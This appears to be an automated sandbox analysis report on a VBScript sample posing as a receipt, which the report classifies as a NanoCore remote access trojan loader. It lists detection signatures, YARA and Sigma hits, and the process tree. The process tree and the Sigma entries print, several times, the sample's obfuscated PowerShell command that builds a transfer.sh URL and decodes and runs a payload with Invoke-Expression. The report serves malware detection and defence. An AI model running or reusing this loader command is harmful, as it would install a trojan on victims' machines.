Loading ...

Play interactive tourEdit tour

Windows Analysis Report 7-Items-receipt.vbs

Overview

General Information

Sample Name:7-Items-receipt.vbs
Analysis ID:483357
MD5:54467281d58890e9f3d3fb9997d90a64
SHA1:a4bb4f66702c1cdddf82287bdb38b46b885e0006
SHA256:8066f56e7cea2bf5ed35ddf325528deff1238bc6a7c1213e1e01eed16be5d830
Tags:vbs
Infos:

Most interesting Screenshot:

Detection

Nanocore
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Malicious sample detected (through community Yara rule)
Sigma detected: NanoCore
VBScript performs obfuscated calls to suspicious functions
Detected Nanocore Rat
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Very long command line found
Injects a PE file into a foreign processes
Creates an undocumented autostart registry key
Sigma detected: CrackMapExec PowerShell Obfuscation
Hides that the sample has been downloaded from the Internet (zone.identifier)
Uses dynamic DNS services
Queries the volume information (name, serial number etc) of a device
Yara signature match
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Uses insecure TLS / SSL version for HTTPS connection
Contains long sleeps (>= 3 min)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sigma detected: Encoded PowerShell Command Line
Java / VBScript file with very long strings (likely obfuscated code)
Detected TCP or UDP traffic on non-standard ports
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
Found WSH timer for Javascript or VBS script (likely evasive script)

Classification

Process Tree

  • System is w10x64
  • wscript.exe (PID: 6292 cmdline: C:\Windows\System32\wscript.exe 'C:\Users\user\Desktop\7-Items-receipt.vbs' MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)
    • powershell.exe (PID: 6424 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) })) MD5: 95000560239032BC68B4C2FDFCDEF913)
      • conhost.exe (PID: 6476 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
      • aspnet_compiler.exe (PID: 6060 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe MD5: 17CC69238395DF61AAF483BCEF02E7C9)
      • aspnet_compiler.exe (PID: 3112 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe MD5: 17CC69238395DF61AAF483BCEF02E7C9)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
7-Items-receipt.vbsPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x30:$s1: POwerSheLL

Dropped Files

SourceRuleDescriptionAuthorStrings
C:\Users\Public\Run\New.vbsPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x30:$s1: POwerSheLL

Memory Dumps

SourceRuleDescriptionAuthorStrings
00000001.00000003.412042111.000002BCBD041000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x9b0:$s1: POwerSheLL
  • 0x2242:$s1: POwerSheLL
00000004.00000002.403054021.000001EE01671000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x3116:$s1: POwerSheLL
  • 0x6f42:$s1: powershell
  • 0x6f42:$sr1: powershell
  • 0x6f42:$sn1: powershell
00000001.00000002.415688123.000002BCBB6AE000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0xdf08:$s1: POwerSheLL
00000001.00000002.415938547.000002BCBB6CC000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x2dc8:$s1: POwerSheLL
00000001.00000003.414286763.000002BCBB6AA000.00000004.00000001.sdmpPowerShell_Case_AnomalyDetects obfuscated PowerShell hacktoolsFlorian Roth
  • 0x2528:$s1: POwerSheLL
  • 0x2d78:$s1: POwerSheLL
  • 0x11f08:$s1: POwerSheLL
Click to see the 10 entries

Unpacked PEs

SourceRuleDescriptionAuthorStrings
23.3.aspnet_compiler.exe.3f1c00f.0.unpackNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
  • 0x3831:$x1: NanoCore.ClientPluginHost
  • 0x386a:$x2: IClientNetworkHost
23.3.aspnet_compiler.exe.3f1c00f.0.unpackNanocore_RAT_Feb18_1Detects Nanocore RATFlorian Roth
  • 0x3831:$x2: NanoCore.ClientPluginHost
  • 0x394c:$s4: PipeCreated
  • 0x384b:$s5: IClientLoggingHost
23.3.aspnet_compiler.exe.3f01fb6.2.unpackNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
  • 0x6da5:$x1: NanoCore.ClientPluginHost
  • 0x6dd2:$x2: IClientNetworkHost
23.3.aspnet_compiler.exe.3f01fb6.2.unpackNanocore_RAT_Feb18_1Detects Nanocore RATFlorian Roth
  • 0x6da5:$x2: NanoCore.ClientPluginHost
  • 0x7d74:$s2: FileCommand
  • 0xc776:$s4: PipeCreated
  • 0x6dbf:$s5: IClientLoggingHost
23.3.aspnet_compiler.exe.3f01fb6.2.raw.unpackNanocore_RAT_Gen_2Detetcs the Nanocore RATFlorian Roth
  • 0x8ba5:$x1: NanoCore.ClientPluginHost
  • 0x15d0e:$x1: NanoCore.ClientPluginHost
  • 0x1b401:$x1: NanoCore.ClientPluginHost
  • 0x2168a:$x1: NanoCore.ClientPluginHost
  • 0x2bc99:$x1: NanoCore.ClientPluginHost
  • 0x360c4:$x1: NanoCore.ClientPluginHost
  • 0x410a1:$x1: NanoCore.ClientPluginHost
  • 0x4ce43:$x1: NanoCore.ClientPluginHost
  • 0x71d47:$x1: NanoCore.ClientPluginHost
  • 0x81187:$x1: NanoCore.ClientPluginHost
  • 0x8bd2:$x2: IClientNetworkHost
  • 0x15d47:$x2: IClientNetworkHost
  • 0x216c3:$x2: IClientNetworkHost
  • 0x2bdf6:$x2: IClientNetworkHost
  • 0x360fd:$x2: IClientNetworkHost
  • 0x410bb:$x2: IClientNetworkHost
  • 0x4ce5d:$x2: IClientNetworkHost
  • 0x71d61:$x2: IClientNetworkHost
  • 0x811c4:$x2: IClientNetworkHost
Click to see the 8 entries

Sigma Overview

AV Detection:

barindex
Sigma detected: NanoCoreShow sources
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ProcessId: 3112, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

E-Banking Fraud:

barindex
Sigma detected: NanoCoreShow sources
Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe, ProcessId: 3112, TargetFilename: C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat

System Summary:

barindex
Sigma detected: CrackMapExec PowerShell ObfuscationShow sources
Source: Process startedAuthor: Thomas Patzke: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -spl
Sigma detected: Encoded PowerShell Command LineShow sources
Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -spl
Sigma detected: Non Interactive PowerShellShow sources
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*